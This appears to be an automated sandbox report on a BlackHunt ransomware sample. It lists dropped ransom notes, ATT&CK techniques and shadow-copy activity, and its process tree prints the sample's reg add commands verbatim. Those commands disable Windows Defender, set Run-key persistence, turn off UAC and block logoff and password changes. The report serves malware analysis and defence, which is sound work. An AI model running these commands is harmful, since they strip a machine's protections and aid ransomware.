File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyclient.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kabul	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\snmp.acl.template	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_ja_4.4.0.v20140623020002.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-nodes_ja.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX8.x3d	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Stanley	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\license.html	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk_1.0.300.v20140407-1803.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-threaddump.xml	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-heapwalker.xml	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Irkutsk	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiItalic.ttf	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\uarrow.gif	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_ButtonGraphic.png	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2700	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1992	vssadmin.exe
2788	vssadmin.exe
584	vssadmin.exe
3640	vssadmin.exe
2140	vssadmin.exe
2712	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2964	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2604	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeRestorePrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeBackupPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeTakeOwnershipPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeAuditPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeSecurityPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeIncBasePriorityPrivilege	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Token: SeBackupPrivilege	324	vssvc.exe
Token: SeRestorePrivilege	324	vssvc.exe
Token: SeAuditPrivilege	324	vssvc.exe
Token: SeBackupPrivilege	2216	wbengine.exe
Token: SeRestorePrivilege	2216	wbengine.exe
Token: SeSecurityPrivilege	2216	wbengine.exe
Token: SeSecurityPrivilege	2856	wevtutil.exe
Token: SeBackupPrivilege	2856	wevtutil.exe
Token: SeSecurityPrivilege	2820	wevtutil.exe
Token: SeBackupPrivilege	2820	wevtutil.exe
Token: SeSecurityPrivilege	3512	wevtutil.exe
Token: SeBackupPrivilege	3512	wevtutil.exe
Token: SeSecurityPrivilege	2492	wevtutil.exe
Token: SeBackupPrivilege	2492	wevtutil.exe
Token: SeSecurityPrivilege	3428	wevtutil.exe
Token: SeBackupPrivilege	3428	wevtutil.exe
Token: SeDebugPrivilege	2964	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2688	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	29
PID 2328 wrote to memory of 2688	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	29
PID 2328 wrote to memory of 2688	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	29
PID 2328 wrote to memory of 2688	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	29
PID 2328 wrote to memory of 2844	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	31
PID 2328 wrote to memory of 2844	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	31
PID 2328 wrote to memory of 2844	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	31
PID 2328 wrote to memory of 2844	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	31
PID 2328 wrote to memory of 2368	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	33
PID 2328 wrote to memory of 2368	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	33
PID 2328 wrote to memory of 2368	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	33
PID 2328 wrote to memory of 2368	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	33
PID 2328 wrote to memory of 2852	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	34
PID 2328 wrote to memory of 2852	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	34
PID 2328 wrote to memory of 2852	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	34
PID 2328 wrote to memory of 2852	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	34
PID 2688 wrote to memory of 2600	2688	cmd.exe	37
PID 2688 wrote to memory of 2600	2688	cmd.exe	37
PID 2688 wrote to memory of 2600	2688	cmd.exe	37
PID 2844 wrote to memory of 2744	2844	cmd.exe	36
PID 2844 wrote to memory of 2744	2844	cmd.exe	36
PID 2844 wrote to memory of 2744	2844	cmd.exe	36
PID 2328 wrote to memory of 3000	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	38
PID 2328 wrote to memory of 3000	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	38
PID 2328 wrote to memory of 3000	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	38
PID 2328 wrote to memory of 3000	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	38
PID 2328 wrote to memory of 3052	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	39
PID 2328 wrote to memory of 3052	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	39
PID 2328 wrote to memory of 3052	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	39
PID 2328 wrote to memory of 3052	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	39
PID 2328 wrote to memory of 2728	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	41
PID 2328 wrote to memory of 2728	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	41
PID 2328 wrote to memory of 2728	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	41
PID 2328 wrote to memory of 2728	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	41
PID 2328 wrote to memory of 2676	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	43
PID 2328 wrote to memory of 2676	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	43
PID 2328 wrote to memory of 2676	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	43
PID 2328 wrote to memory of 2676	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	43
PID 2852 wrote to memory of 2564	2852	cmd.exe	44
PID 2852 wrote to memory of 2564	2852	cmd.exe	44
PID 2852 wrote to memory of 2564	2852	cmd.exe	44
PID 2328 wrote to memory of 2560	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	45
PID 2328 wrote to memory of 2560	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	45
PID 2328 wrote to memory of 2560	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	45
PID 2328 wrote to memory of 2560	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	45
PID 2328 wrote to memory of 2608	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	47
PID 2328 wrote to memory of 2608	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	47
PID 2328 wrote to memory of 2608	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	47
PID 2328 wrote to memory of 2608	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	47
PID 2328 wrote to memory of 2684	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	49
PID 2328 wrote to memory of 2684	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	49
PID 2328 wrote to memory of 2684	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	49
PID 2328 wrote to memory of 2684	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	49
PID 2328 wrote to memory of 3024	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	51
PID 2328 wrote to memory of 3024	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	51
PID 2328 wrote to memory of 3024	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	51
PID 2328 wrote to memory of 3024	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	51
PID 3000 wrote to memory of 1432	3000	cmd.exe	52
PID 3000 wrote to memory of 1432	3000	cmd.exe	52
PID 3000 wrote to memory of 1432	3000	cmd.exe	52
PID 2328 wrote to memory of 2548	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	53
PID 2328 wrote to memory of 2548	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	53
PID 2328 wrote to memory of 2548	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	53
PID 2328 wrote to memory of 2548	2328	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe	53

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
"C:\Users\Admin\AppData\Local\Temp\730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1020
- C:\Windows\System32\cmd.exe
